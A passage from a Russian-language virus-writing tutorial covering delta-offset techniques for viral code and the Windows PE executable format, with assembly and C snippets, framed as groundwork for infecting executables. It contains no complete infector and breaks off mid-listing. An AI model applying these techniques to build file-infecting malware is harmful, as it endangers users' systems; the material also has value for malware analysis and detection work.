Еще один, по типу предыдущего:

d: jmp c1 x db "Hello!!! I'm Crazy Virus",0 c1: lea ebp,x sub ebp,offset d sub ebp,2 ;в EBP - дельта смещение

Вот этот прием от Billy Belcebu:

        mov     ebx,old_size_of_infected_file   ;используем размер файла, до инфецирования
        jmp     ebx
 

И Еще:

m:      lea     ebx,m
        sub     ebx,offset m                    ;в EBX - дельта смещение
 

На самом деле существует бесконечное число способов получить дельта смещение. Это зависит только от Вашей фантазии и знания языка ассемблер.

Использование дельта смещения

Теперь, как пользоваться переменными или функциями. Пусть у нас есть две переменные X и Y. Пусть дельта смещение находиться в регистре EBP, тогда обращение к переменным в Вашем коде будет выглядить следующим образом:

;       ...
        mov     eax,[EBP+offset X]
        xor     eax,4
        mov     [EBP+offset Y],eax
;       ...
        jmp     x                               ;например, переход к нормальной точке входа
X       DB      123
Y       DW      0
 

Т.к. адреса функций помещаются в переменные, то этот способ также можно использовать для вызова функций:

;       ...
        push    0
        mov     eax,[EBP+offset _ExitProcess]
        call    eax
;       ...
        jmp     x                               ;например, переход к нормальной точке входа
_ExitProcess    dd      ?
 

Защита

В данной главе приводились методы, которые используют очень много вирусов. Этот код типичен. Эврестик просто должен распознавать что-то подобное.

Благодарности

В этом разделе я хочу выразить благодарности людям, которые помогли мне:

Глава 2: Формат исполняемого файла ОС Windows. PE32 и PE64. Способы заражения исполняемых файлов.

Введение

В этой главе мы исследуем формат исполняемых файлов в операционной системе Windows. Все факты, которые будут касаться этого изложения подходят для ОС Windows XP c установленным SP2. Но большинство фактов распространяются на всю платформу Win32. Я буду рассматривать все поля PE-формата полностью. Я привожу здесь описания используемых структур, для того чтобы Вы могли использовать этот документ и как справочник.

Формат PE (Portable Executable) - это переносимый исполняемый формат файлов. Переносимым он является потому, что он единственный для всех операционных систем Windows(9x,NT). Есть форматы и другие, но для платформы Win32 этот формат является единственным.

PE-формат впервые был использован в ОС Windows 3.1. Он был стандартизирован в 1993 году и базируется на формате COFF (Common Object File Format), который использовался в нескольких UNIX и VMS. Приступим, сначала рассмотрим общий вид PE-файла, чтобы Вы имели представление о нем.

Общий вид PE-файла

PE-файл в самом своем начале содержит программу для ОС DOS. Эта программа называется stub и нужна для совместимости со старыми ОС. Если мы запускаем PE-файл под ОС DOS или OS/2 она выводит на экран консоли текстовую строку, которая информирует пользователя, что данная программа не совместима с данной версией ОС. Программист при линковке может указать любую программу DOS, любого размера. После этой DOS-программы идет структура, которая называется IMAGE_NT_HEADERS. Эта структура определена так:

typedef struct _IMAGE_NT_HEADERS
{
        DWORD                   Signature;
        IMAGE_FILE_HEADER       FileHeader;
        IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}
 

Почти все определения структур PE-файла Вы можете узнать из заголовочного файла WINNT.H, который поставляется вместе с какой-нибудь средой программирования.

Первый элемент IMAGE_NT_HEADERS - сигнатура PE-файла. Для PE-файлов она должна иметь значение IMAGE_NT_SIGNATURE. Далее идет структура, которая называется файловым заголовком и определенная как IMAGE_FILE_HEADER. Файловый заголовок содержит наиболее общие свойства для данного PE-файла. Мы рассмотрим файловый заголовок в соответствующем разделе. После файлового заголовка идет опциональный заголовок - IMAGE_OPTIONAL_HEADER32. Он содержит специфические параметры данного PE-файла. В конце опционального заголовка содержится массив элементов DataDirectory. Он служит для доступа к некоторым сущностям, которые могут быть секциями (о секциях далее), а могут и не быть. В общем случае эти сущности называются - директориями. После опционального заголовка начинается таблица секций. В ней содержится информация о каждой секции. После таблицы секций идут исходные данные для секций. В конец PE-файла можно записать любую информацию и от этого функционирование программы не измениться (если там не присутствует проверка контрольной суммы etc.). Вы можете посмотреть, как выглядит PE-файл на рисунке, тогда Вы поймете, о чем я говорил в этом разделе:

Терминология применимая для файлов PE-формата

Секция
непрерывный набор страниц памяти с одинаковыми атрибутами. Бывают секции кода, данных, ресурсов и т.д. Обычно данные делятся на секции, если предполагается, что они будут использоваться одинаковым образом, т.е. например, только для чтения или только для записи. Также, данные могут делиться на секции в зависимости от того, что, представляют из себя, эти данные, например ресурсы или таблица импорта. В общем случае может быть, например 12 секций с одинаковыми атрибутами, и используемые для кода. Мы вправе сами создавать секции, указывая это компиляторам. С другой стороны секция это отдельная сущность PE-файла. Вы только прочтите, что пишут Microsoft в спецификации PE/COFF формата, что такое секция:
"A section is the basic unit of code or data within a PE/COFF file. In an object file, for example, all code can be combined within a single section, or (depending on compiler behavior) each function can occupy its own section. With more sections, there is more file overhead, but the linker is able to link in code more selectively. A section is vaguely similar to a segment in Intel 8086 architecture. All the raw data in a section must be loaded contiguously. In addition, an image file can contain a number of sections, such as .tls or .reloc, that have special purposes-

Прочтите внимательно, Microsoft - звери хитрые, просто так писать ничего не будут, да и НЕ писать тоже. Хотя, время текет и все устаревает.

VA (Virtual Address)
виртуальный адрес. Адрес в адресном пространстве текущего процесса.
RVA (Relative Virtual Address)
относительный виртуальный адрес. При загрузке PE-файла, ОС использует механизм файлового мэппинга(File Mapping). Т.е. она проецирует данный exe, dll, sys или scr файл по какому-то адресу в виртуальном адресном пространстве. Адрес начала проекции называется базовым адресом в памяти данного exe, dll, sys или scr файла. А смещение относительно базового адреса называется - относительным виртуальным адресом. Например, EXE-файл спроецирован по адресу 400000H. Тогда если PE-заголовок находиться по адресу 4000 E0H, то RVA PE-заголовка будет E0. В PE-заголовке очень много параметров указываются через RVA. А если RVA начала инструкций в файле есть 1000H, то виртуальный адрес будет равен 401000H учитывая, что база 400000H. Чтобы посчитать относительный виртуальный адрес по данному виртуальному адресу используется следующая формула:

RVA = VA - IMAGE_OPTIONAL_HEADER.ImageBase (1)

Иногда возникает необходимость посчитать файловое смещение соответствующее VA или RVA. Если требуется смещение внутри секции, используется следующая формула:

offset = RVA - IMAGE_SECTION_HEADER.VirtualAddress + IMAGE_SECTION_HEADER.PointerRawData (2)

Значения IMAGE_SECTION_HEADER.VirtualAddress и IMAGE_SECTION_HEADER.PointerRawData берутся из таблицы секций, которая соответствует секции RVA секции.

Если смещение находится вне секции, т.е. в заголовке, таблице секций или еще где-нибудь, то естественно файловое смещение равно RVA. Вот код функции, которая возвращает файловое смещение в зависимости от RVA:

//Base - файл проецируется в память, это его база
//RVA - значение, которое нужно преобразовать в Offset
DWORD RVAtoOffset(DWORD Base,DWORD RVA)
{
        PIMAGE_NT_HEADERS       pPE=(PIMAGE_NT_HEADERS)((long)Base+((PIMAGE_DOS_HEADER)Base)->e_lfanew);
        short NumberOfSection=pPE->FileHeader.NumberOfSections;
        long SectionAlign=pPE->OptionalHeader.SectionAlignment;
        PIMAGE_SECTION_HEADER Section=(PIMAGE_SECTION_HEADER)(pPE->FileHeader.SizeOfOptionalHeader+
                                        (long)&(pPE->FileHeader)+sizeof(IMAGE_FILE_HEADER));
        long VirtualAddress,PointerToRawData;
        bool flag=false;

        for (int i=0;i<NumberOfSection;i++)
        {
                if ((RVA>=(Section->VirtualAddress))&&
                        (RVA<Section->VirtualAddress+ALIGN_UP((Section->Misc.VirtualSize),SectionAlign)))
                {
                        VirtualAddress=Section->VirtualAddress;
                        PointerToRawData=Section->PointerToRawData;
                        flag=true;
                        break;
                }
                Section++;
        }
        if (flag) return RVA-VirtualAddress+PointerToRawData;
        else return RVA;
}
 

Макрос ALING_UP определен при описании параметра SectionAlignment в опциональном заголовке. Кстати, с помощью CreateFileMapping можно спроецировать файл как PE, т.е. кусками по секциям, а не как сплошной файл. Это делается так:

HANDLE  hFile=CreateFile("c:\\regedit.exe",GENERIC_WRITE |
                GENERIC_READ,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

HANDLE  hMapping=CreateFileMapping(hFile,NULL,PAGE_READWRITE | SEC_IMAGE,0,0,NULL);
HANDLE  hMap=MapViewOfFile(hMapping,FILE_MAP_ALL_ACCESS,0,0,0);
 

Параметр SEC_IMAGE указывает, что проецировать файл надо как исполняемый. Естественно мы будем только так проецировать файлы при заражении, чтобы не высчитывать соответствий смещения в файле и RVA.

IAT
таблица адресов импорта. Массив двойных слов, содержащие RVA импортируемых функций.
INT
таблица импортируемых имен. Массив двойных слов, каждое из которых является RVA на ASCIIZ-строку с импортируемой функцией.

DOS-MZ заголовок

В начале файла располагается DOS-MZ заголовок. Он определен следующим образом:

typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
        WORD    e_magic;        // Magic number
        WORD    e_cblp;         // Bytes on last page of file
        WORD    e_cp;           // Pages in file
        WORD    e_crlc;         // Relocations
        WORD    e_cparhdr;      // Size of header in paragraphs
        WORD    e_minalloc;     // Minimum extra paragraphs needed
        WORD    e_maxalloc;     // Maximum extra paragraphs needed
        WORD    e_ss;           // Initial (relative) SS value
        WORD    e_sp;           // Initial SP value
        WORD    e_csum;         // Checksum
        WORD    e_ip;           // Initial IP value
        WORD    e_cs;           // Initial (relative) CS value
        WORD    e_lfarlc;       // File address of relocation table
        WORD    e_ovno;         // Overlay number
        WORD    e_res[4];       // Reserved words
        WORD    e_oemid;        // OEM identifier (for e_oeminfo)
        WORD    e_oeminfo;      // OEM information; e_oemid specific
        WORD    e_res2[10];     // Reserved words
        LONG    e_lfanew;       // File address of new exe header
} IMAGE_DOS_HEADER;
 

Все что нас интересует здесь - это только одно значение - e_lfanew. Это двойное слово является RVA и указывает на структуру IMAGE_NT_HEADERS. Размер DOS-MZ заголовка составляет 80 байт.

Файловый заголовок

Файловый заголовок находиться в PE-файле сразу же после сигнатуры IMAGE_NT_SIGNATURE. В файле WINNT.H она определена как 00004550H. Файловый заголовок содержит наиболее общую информацию о данном файле. В файле WINNT.H файловый заголовок определен следующим образом:

typedef struct _IMAGE_FILE_HEADER {
        WORD    Machine;
        WORD    NumberOfSections;
        DWORD   TimeDateStamp;
        DWORD   PointerToSymbolTable;
        DWORD   NumberOfSymbols;
        WORD    SizeOfOptionalHeader;
        WORD    Characteristics;
} IMAGE_FILE_HEADER;
 

Давайте рассмотрим по порядку данные поля.

WORD Machine;
Два байта содержащие платформу, для которой создавался данный PE-файл. Возможные значения приведены ниже.
#define IMAGE_FILE_MACHINE_UNKNOWN      0
#define IMAGE_FILE_MACHINE_I386         0x014c  // Intel 386.
#define IMAGE_FILE_MACHINE_R3000        0x0162  // MIPS little-endian, 0x160 big-endian
#define IMAGE_FILE_MACHINE_R4000        0x0166  // MIPS little-endian
#define IMAGE_FILE_MACHINE_R10000       0x0168  // MIPS little-endian
#define IMAGE_FILE_MACHINE_WCEMIPSV2    0x0169  // MIPS little-endian WCE v2
#define IMAGE_FILE_MACHINE_ALPHA        0x0184  // Alpha_AXP
#define IMAGE_FILE_MACHINE_POWERPC      0x01F0  // IBM PowerPC Little-Endian
#define IMAGE_FILE_MACHINE_SH3          0x01a2  // SH3 little-endian
#define IMAGE_FILE_MACHINE_SH3E         0x01a4  // SH3E little-endian
#define IMAGE_FILE_MACHINE_SH4          0x01a6  // SH4 little-endian
#define IMAGE_FILE_MACHINE_ARM          0x01c0  // ARM Little-Endian
#define IMAGE_FILE_MACHINE_THUMB        0x01c2
#define IMAGE_FILE_MACHINE_IA64         0x0200  // Intel 64
#define IMAGE_FILE_MACHINE_MIPS16       0x0266  // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU      0x0366  // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU16    0x0466  // MIPS
#define IMAGE_FILE_MACHINE_ALPHA64      0x0284  // ALPHA64
#define IMAGE_FILE_MACHINE_AXP64        IMAGE_FILE_MACHINE_ALPHA64
#define IMAGE_FILE_MACHINE_CEF          0xC0EF
 

ОС Windows поддерживает только две архитектуры и все они - процессоров Intel - IA-32, IA-64. Исходя из этого, только два значения считаются корректными в PE-файле IMAGE_FILE_MACHINE_IA64 и IMAGE_FILE_MACHINE_I386. Если Вы подставите чего-либо другое, загрузчик откажется загружать данный файл. Да и то для 32х разрядных операционных систем (т.е. работающих с 32х разрядными процессорами) - значение единственное - IMAGE_FILE_MACHINE_I386. Очень интересно еще и то, что в официальной спецификации о некоторых значениях просто умалчивается, просто умалчивается и все!

WORD NumberOfSections;
Количество секций в PE-файле. Значение должно быть верным. Фактически означает число элементов в таблице секций.
DWORD TimeDateStamp;
Информация о времени, когда был собран данный PE-файл. Это значение равно количеству секунд прошедших с 1 января 1970 года до времени создания файла. В стандартной библиотеке Си есть замечательная функция gmtime, которая переводит время из секунд в удобочитаемый вид. Она берет указатель на DWORD - количество секунд и заполняет структуру tm, определенную в time.h. Эта структура выглядит следующим образом:
struct tm
{
        int     tm_sec;         /* Секунды */
        int     tm_min;         /* Минуты */
        int     tm_hour;        /* Часы (0--23) */
        int     tm_mday;        /* День месяца (1--31) */
        int     tm_mon;         /* Месяц (0--11) */
        int     tm_year;        /* Год (минус 1900) */
        int     tm _wday;       /* День недели (0--6; Sunday = 0) */
        int     tm_yday;        /* День года (0--365) */
        int     tm_isdst;       /* связано с переход на летнее время */
};
 

Чтобы узнать какой дате это число соответствует, используйте следующую функцию

void printTimeStamp(DWORD x)
{
        struct tm* Time=gmtime((const long*)&x);
        printf("Year:%d\nMonth:%d\nDay:%d\n",Time->tm_year+1900,Time->tm_mon,Time->tm_mday);
}
 

X - значение поля TimeDateStamp. Чтобы использовать данную функцию необходимо подключить заголовочный файл time.h.

DWORD PointerToSymbolTable;
Указатель на COFF-таблицу символов PE-формата. Эту же информацию можно найти в элементе массива DataDirectory с индексом IMAGE_DIRECTORY_ENTRY_DEBUG. Если Вы вдруг не знали, то отладочная информация нужна только для отладчика. Отсюда следует, что мы может размещать в этом поле любое значение.
DWORD NumberOfSymbols;
Количество символов в COFF-таблице символов. Может принимать любое значение.
WORD SizeOfOptionalHeader;
Размер опционального заголовка. Опциональный заголовок следует сразу же за файловым заголовком. Размер опционального заголовка зависит от массива DataDirectory, а именно от количества элементов в нем. Обычно в нем 16 элементов, но могут быть и неожиданности. Это поле проверяется загрузчиком и должно быть правильным.
WORD Characteristics;
Характеристики - это атрибуты специфичные для данного PE-файла. Поле Characteristics 16 битное поле и каждый установленный бит представляет из себя отдельный флаг. Знаете, я не ленив, и опишу все возможные флаги подробно. Конечно, большинство из них не используются в данное время, ведь PE-формат был создан в 1993 году. С этого времени много вещей стали не важны. Но это информация общеобразовательная. Прочитайте, если Вы хотите быть более гибки в области операционных систем.

Определены следующие значения:

#define IMAGE_FILE_FS_STRIPPED          0x0001

В файле отсутствует информация о базовых поправках. Этот флаг не используется в исполняемых файлах. Вместо этого информация о базовых поправках храниться в каталоге, на который указывает элемент в массиве DataDirectory с индексом IMAGE_DIRECTORY_ENTRY_BASERELOC.

#define IMAGE_FILE_EXECUTABLE_IMAGE     0x0002

Файл является исполняемым (т.е. не содержит нераспознанных внешних ссылок). Если файл является исполняемым, то он не является объектным файлом или библиотекой.

#define IMAGE_FILE_LINE_NUMS_STRIPPED   0x0004

В файле отсутствуют номера строк. Это значение не используется в исполняемых файлах.

#define IMAGE_FILE_LOCAL_SYMS_STRIPPED  0x0008

Локальные символы отсутствуют в файле. Это значение не используется в исполняемых файлах.

#define IMAGE_FILE_AGGRESIVE_WS_TRIM    0x0010

Этот флаг установлен, если операционная система ограничивает программу памятью, агрессивно сбрасывая данные приложения в страничный файл. Этот флаг устанавливается для приложений, которые большую часть своего времени ждут, лишь очень редко пробуждаясь.

#define IMAGE_FILE_LARGE_ADDRESS_AWARE  0x0020

Флаг, чтобы приложение могла работать с объемом памяти больше 2 или 3 Гб (в зависимости от загрузочного параметра).

#define IMAGE_FILE_BYTES_REVERSED_LO    0x0080
и
#define IMAGE_FILE_BYTES_REVERSED_HI    0x8000

Эти флаги устанавливаются если порядок байт в конце файла, отличен от порядка байт для текущей архитектуры. Т.к. порядок байт в процессорах Intel одинаковый, то этот параметр в данное время не используется.

#define IMAGE_FILE_32BIT_MACHINE        0x0100

Этот флаг установлен, если предполагается, что машина 32- разрядная. Вероятно, если файл будет собран при помощи 64-разраного линкера, то этот флаг не будет установлен.

#define IMAGE_FILE_DEBUG_STRIPPED       0x0200

Отладочная информация отсутствует в файле. Этот параметр не используется для исполняемых файлов.

#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP      0x0400

Этот флаг установлен, если приложение может не запуститься с переносного носителя, дискеты или CD-ROM. В этом случае ОС переносит данные исполняемый файл в файл подкачки и считывает его оттуда. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на подобном съемном носителе.

#define IMAGE_FILE_NET_RUN_FROM_SWAP    0x0800

Флаг установлен, если приложение может не запуститься по сети. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на общем сетевом ресурсе.

#define IMAGE_FILE_SYSTEM               0x1000

Этот флаг установлен, если данный файл является системным, подобно драйверу. В настоящее время не используется.

#define IMAGE_FILE_DLL                  0x2000

Данный файл - это динамически подключаемая библиотека(Dinamic Link Library). Каждая DLL обязана иметь этот флаг, иначе она не загрузиться. Этот флаг может использоваться EXE, и при этом быть корректным исполняемым файлом.

#define IMAGE_FILE_UP_SYSTEM_ONLY       0x4000

Этот флаг установлен, если приложение не предназначено для многопроцессорных платформ.

Главные поля в файловом заголовке - это количество секций и размер опционального заголовка. Остальные нужны очень редко или не нужны вовсе.

Опциональный заголовок

В опциональном заголовке храниться более специфическая информация о приложении и его потребностях. Я не хочу утомлять Вас, но если Вы это читаете, то будьте добры читать все. Здесь я опишу все поля опционального заголовка. В любом случае тонкости PE-формата нам пригодятся. А где пригодятся, Вы узнаете в этой главе. Следите внимательно.

В WINNT. H опциональный заголовок - это структура IMAGE_OPTIONAL_HEADER. Она определена следующим образом:

typedef struct _IMAGE_OPTIONAL_HEADER {
        //
        // Стандартные поля
        //

        WORD    Magic;
        BYTE    MajorLinkerVersion;
        BYTE    MinorLinkerVersion;
        DWORD   SizeOfCode;
        DWORD   SizeOfInitializedData;
        DWORD   SizeOfUninitializedData;
        DWORD   AddressOfEntryPoint;
        DWORD   BaseOfCode;
        DWORD   BaseOfData;

        //
        // дополнительные поля NT
        //

        DWORD   ImageBase;
        DWORD   SectionAlignment;
        DWORD   FileAlignment;
        WORD    MajorOperatingSystemVersion;
        WORD    MinorOperatingSystemVersion;
        WORD    MajorImageVersion;
        WORD    MinorImageVersion;
        WORD    MajorSubsystemVersion;
        WORD    MinorSubsystemVersion;
        DWORD   Win32VersionValue;
        DWORD   SizeOfImage;
        DWORD   SizeOfHeaders;
        DWORD   CheckSum;
        WORD    Subsystem;
        WORD    DllCharacteristics;
        DWORD   SizeOfStackReserve;
        DWORD   SizeOfStackCommit;
        DWORD   SizeOfHeapReserve;
        DWORD   SizeOfHeapCommit;
        DWORD   LoaderFlags;
        DWORD   NumberOfRvaAndSizes;
        IMAGE_DATA_DIRECTORY    DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
 

Как Вы уже, наверное, заметили, опциональный заголовок абстрактно делится на две части: стандартные поля и дополнительные поля NT. Естественно на реализации это деление не отражается. Рассмотрим поля по порядку. Кстати, опциональный заголовок так называется, потому что, если рассматривать в общем стандарт PE/COFF файлов, то для объектных файлов COFF-формата он отсутствует. Для исполняемых файлов этот заголовок является обязательным. А то некоторые авторитетные товарищи удивляются, почему этот заголовок называется опциональным. А это написано черным по белому в спецификации Microsoft PE-формата. Размер опционального заголовка не является фиксированным и чтобы узнать его надо обратиться к файловому заголовку.

WORD Magic;
Это слово служит, чтобы проверить для какой версии спецификации PE этот опциональный заголовок. Возможные значения:
#define IMAGE_NT_OPTIONAL_HDR32_MAGIC   0x10b

Для спецификации PE32

#define IMAGE_NT_OPTIONAL_HDR64_MAGIC   0x20b

Для спецификации PE64

#define IMAGE_ROM_OPTIONAL_HDR_MAGIC    0x107

Если исполняемый файл после проекции его загрузчиком будет только для чтения. Не используется в настоящее время.

Для 32х разрядных ОС есть одно возможное значение - IMAGE_NT_OPTIONAL_HDR32_MAGIC

BYTE MajorLinkerVersion;
Старшее слово версии линковщика, создавшего данный файл. Может быть любым.
BYTE MinorLinkerVersion;
Младшее слово версии линковщика, создавшего данный файл. Может быть любым.
DWORD SizeOfCode;
Размер секции кода или сумма всех секций кода. В Windows XP SP2 может быть любым, на остальных ОС надо тестировать отдельно, но, скорее всего, дело обстоит точно также. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.
DWORD SizeOfInitializedData;
Размер секции с инициализированными данными. То же самое, что и с прошлым параметром.
DWORD SizeOfUninitializedData;
Размер секции с неинициализированными данными. То же самое, что и с прошлым параметром.
DWORD AddressOfEntryPoint;
Адрес, с которого начинают считываться инструкции для выполнения. Адрес является RVA. Чтобы указать на адрес ниже базового можно использовать отрицательные значения, т.е. в дополнительном коде. По-другому это называется - целочисленное переполнение.
DWORD BaseOfCode;
RVA откуда начинаются секция(и) кода исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.
DWORD BaseOfData;
RVA откуда начинаются секция(и) данных исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками.
DWORD ImageBase;
При запуске PE-файла он будет отображен по частям, начиная с некоторого адреса в памяти. Адрес отображения называется базовым адресом для данного файла. В данном поле храниться базовый адрес PE-файла. Этот файл естественно является VA. От него отсчитываются все RVA. Еcли файл не загружается по каким-то причинам (по этому адресу помять уже зарезервирована) по данному адресу, то загрузчику необходимо применять базовые поправки. Обычно файл загружается по базовому адресу и базовые поправки не нужны. Это позволяет использовать базовые поправки в своих целях. Для компоновщиков, по умолчанию устанавливается базовый адрес 400000H.
DWORD SectionAlignment;
Секция при загрузке PE-файла в память будет начинаться с адреса кратного данной величине. Вот ограничения данного поля. 1) Это значение представляет собой степень двойки. 2) SectionAlignment>=FileAlignment. Пусть нам дано значение адреса. Нам надо получить выровненное значение в соответствии с выравниванием. Для этого можно использовать следующую формулу:

z=(x+(y-1))&(~(y-1)) (3),

где x - выравниваемое значение, y - выравнивающий фактор.

Посмотрите на пример функции, которое выравнивает вверх нужное значение:

;=========================================
;Процедура GetAlignUP
;Получение выровненного-вверх значения
;Вход: esi - значение для выравнивания
; edi - выравнивающий фактор
;Выход:eax - выровненное значение
;=========================================
GetAlignUp      proc
        push    esi
        push    edi
       
        dec     edi
        add     esi,edi
        not     edi
        and     esi,edi
        mov     eax,esi
       
        pop     edi
        pop     esi
        ret
GetAlignUp      endp
;=========================================
;Конец процедуры GetAlignUP
;
;=========================================
 

Вот процедура, которая выравнивает вниз нужное значение:

;=========================================
;Процедура GetAlignDown
;Получение выровненного-вниз значения
;Вход: esi - значение для выравнивания
; edi - выравнивающий фактор
;Выход:eax - выровненное значение
;=========================================
GetAlignDown    proc
        push    esi
        push    edi

        dec     edi
        not     edi
        and     esi,edi
        mov     eax,esi

        pop     edi
        pop     esi
        ret
GetAlignDown    endp
;=========================================
;Конец процедуры GetAlignDown
;
=========================================
                <p>А вот макросы на Си делающие то же самое:</p>
<src lang="c">
#define ALIGN_DOWN(x, align)    (x & ~(align-1))                                //выравнивание вниз
#define ALIGN_UP(x, align)      ((x & (align-1)) ? ALIGN_DOWN(x,align)+align:x) //выравнивание вверх
 
DWORD FileAlignment;
Эта величина соответствует смещению секций в файле. Размер каждой секции кратен данной величине. Вот ограничения данного поля: 1) Это значение представляет собой степень двойки. 2) Должно быть между 200H и 10000H. 3) SectionAlignment>=FileAlignment. Вы также можете использовать функцию GetAlign для получения выровненного значения.
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
Версия ОС, для которой данный файл предназначен. Совершенно никем не проверяемое поле. Может быть любым, но лучше чтобы не нулевое, а то кто-то ругался (привет Hard Wisdom!)
WORD MajorImageVersion;
WORD MinorImageVersion;
Это поле специально для того, чтобы программист создающий программу мог указать версию исполняемого образа. Может быть любым.
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
Поле содержит самую старую версию подсистемы, позволяющую запускать данный файл. Должно быть правильным.
DWORD Win32VersionValue;
Зарезервировано. Может быть любым.
DWORD SizeOfImage;
Содержит общий размер всех частей отображения. Важно, что загрузчик проверяет значение этого поля по следующей формуле:

SizeOfImage = VirtualSize + VirtualAddress (4),

где VirtualSize и VirtualAddress значения соответствующие последней секции

DWORD SizeOfHeaders;
Размер заголовков. Вычисляется по формуле

SizeOfHeaders = DOS Stub + PE Header + Object Table (5)

Кратно значению FileAlignment. Должно быть корректным.

DWORD CheckSum;
Контрольная сумма образа файла. Для обычных исполняемых файлов контрольная сумма не проверяется, т.е. может быть любой. Если она нулевая, то она тоже может быть любой. Для всех системных DLL должна быть корректная. Алгоритм контрольной суммы не является закрытым как говорят некоторые. Чтобы получить контрольную сумму данного исполняемого файла надо вызвать функцию CheckSumMappedFile с соответствующими параметрами. Эта функция доступна из библиотеки imagehlp.dll. В этой библиотеке содержится набор функций чтобы работать с PE-файлами. Но нам с Вами эти дурацкие библиотеки не нужны, т.к. мы делаем все вручную (почти все :)). Научитеcь делать сначала вручную, потом используйте свои библиотеки и свой очень компактный, и очень маленький код. Библиотека imagehlp.dll входит в состав ОС и прототипы соответствующих функций содержатся в Imagehlp.h. В статье "Make your own CheckSumMappedFile- by Bumblebee/29a обсуждается, как сделать свою функцию CheckSumMappedFile, но, к сожалению, то что сделал Bumblebee не работает :( Я подправил его код и получилась рабочая функция. Ниже в листинге приведена функция и пример ее использования.
;===============================================================
;
; Реализация собственной функции CheckSumMappedFile
;
;===============================================================
.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
.data
hFile           dd      0
hMapping        dd      0
hMap            dd      0
Name1           db      "C:\\kernel32.dll",0
HeaderSum       dd      0fffh
CheckSum        dd      0
.code
start:
        invoke  CreateFile,offset Name1,GENERIC_WRITE or
                GENERIC_READ,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL

        mov     hFile,eax

        invoke  CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL
        mov     hMapping,eax
        invoke  MapViewOfFile,hMapping,FILE_MAP_ALL_ACCESS,0,0,0
        mov     hMap,eax
        invoke  GetFileSize,hFile,NULL

        push    offset CheckSum
        push    offset HeaderSum
        push    eax
        push    hMap
        call    CheckSumMappedFile              ;Вычисление контрольной суммы
                                                ;после этого вызова в eax - окажется
                                                ;контрольная сумма файла с именем Name1
        invoke  ExitProcess,0

CheckSumMappedFile:                             ;код самой функции
        assume  fs:nothing
        mov     eax, dword ptr fs:[00000000]
        push    ebp
        mov     ebp, esp
        push    -00000001
        push    7D6C61C0h
        push    7D6C4598h
        push    eax
        mov     eax, dword ptr [ebp+10h]
        mov     dword ptr fs:[00000000], esp
        sub     esp, 00000010h
        push    ebx
        push    esi
        push    edi
        xor     esi, esi
        mov     dword ptr [ebp-18h], esp
        mov     dword ptr [eax], esi
        mov     eax, dword ptr [ebp+0Ch] ;размер файла
        inc     eax
        shr     eax, 1
        push    eax
        push    dword ptr [ebp+08h]
        push    esi
        call    func0


        mov     word ptr [ebp-1Ah], ax
        mov     dword ptr [ebp-04h], esi
        mov     eax,dword ptr [ebp+08h]
        assume  eax:ptr IMAGE_DOS_HEADER
        mov     ecx,dword ptr [eax].e_lfanew
        add     eax,ecx
        mov     dword ptr [ebp-20h], eax
        jmp     saltito0
        mov     eax, 00000001
        ret

        mov     esp, dword ptr [ebp-18h]
        mov     dword ptr [ebp-20h], 00000000

saltito0:
        mov     dword ptr [ebp-04h], 0FFFFFFFFh
        cmp     dword ptr [ebp-20h], 000000000h
        je      saltito1
        mov     eax, dword ptr [ebp+08h]
        cmp     dword ptr [ebp-20h], eax
        je      saltito1
        mov     esi, dword ptr [ebp-20h]
        mov     ecx, dword ptr [ebp+10h]
        add     esi, 00000058h
        mov     edx, 00000001h
        mov     eax, dword ptr [esi]
        mov     dword ptr [ecx], eax
        mov     ecx, edx
        mov     ax, word ptr [esi]
        cmp     word ptr [ebp-1Ah], ax
        adc     ecx, -00000001
        sub     word ptr [ebp-1Ah], cx
        sub     word ptr [ebp-1Ah], ax
        mov     ax, word ptr [esi+02h]
        cmp     word ptr [ebp-1Ah], ax
        adc     edx, -00000001
        sub     word ptr [ebp-1Ah], dx
        sub     word ptr [ebp-1Ah], ax

saltito1:
        movzx   ecx, word ptr [ebp-1Ah]
        add     ecx, dword ptr [ebp+0Ch]
        mov     eax, dword ptr [ebp+14h]
        pop     edi
        pop     esi
        pop     ebx
        mov     dword ptr [eax], ecx
        mov     eax, dword ptr [ebp-20h]
        mov     ecx, dword ptr [ebp-10h]
        mov     dword ptr fs:[00000000], ecx
        mov     esp, ebp
        pop     ebp
        ret     0010h
func0:
        push    esi
        mov     ecx, dword ptr [esp+10h]
        mov     esi, dword ptr [esp+0Ch]
        mov     eax, dword ptr [esp+08h]
        shl     ecx, 1
        je      func0_saltito0
        test    esi, 00000002
        je      func0_saltito1
        sub     edx, edx
        mov     dx, word ptr [esi]
        add     eax, edx
        adc     eax, 00000000
        add     esi, 00000002
        sub     ecx, 00000002

func0_saltito1:
        mov     edx, ecx
        and     edx, 00000007
        sub     ecx, edx
        je      func0_saltito2
        test    ecx, 00000008
        je      func0_saltito3
        add     eax, dword ptr [esi]
        adc     eax, dword ptr [esi+04h]
        adc     eax, 00000000
        add     esi, 00000008
        sub     ecx, 00000008
        je      func0_saltito2

func0_saltito3:
        test    ecx, 00000010h
        je      func0_saltito4
        add     eax, dword ptr [esi]
        adc     eax, dword ptr [esi+04h]
        adc     eax, dword ptr [esi+08h]
        adc     eax, 00000000h
        add     esi, 00000010h
        sub     ecx, 00000010h
        je      func0_saltito2

func0_saltito4:
        test    ecx, 00000020h
        je      func0_saltito5
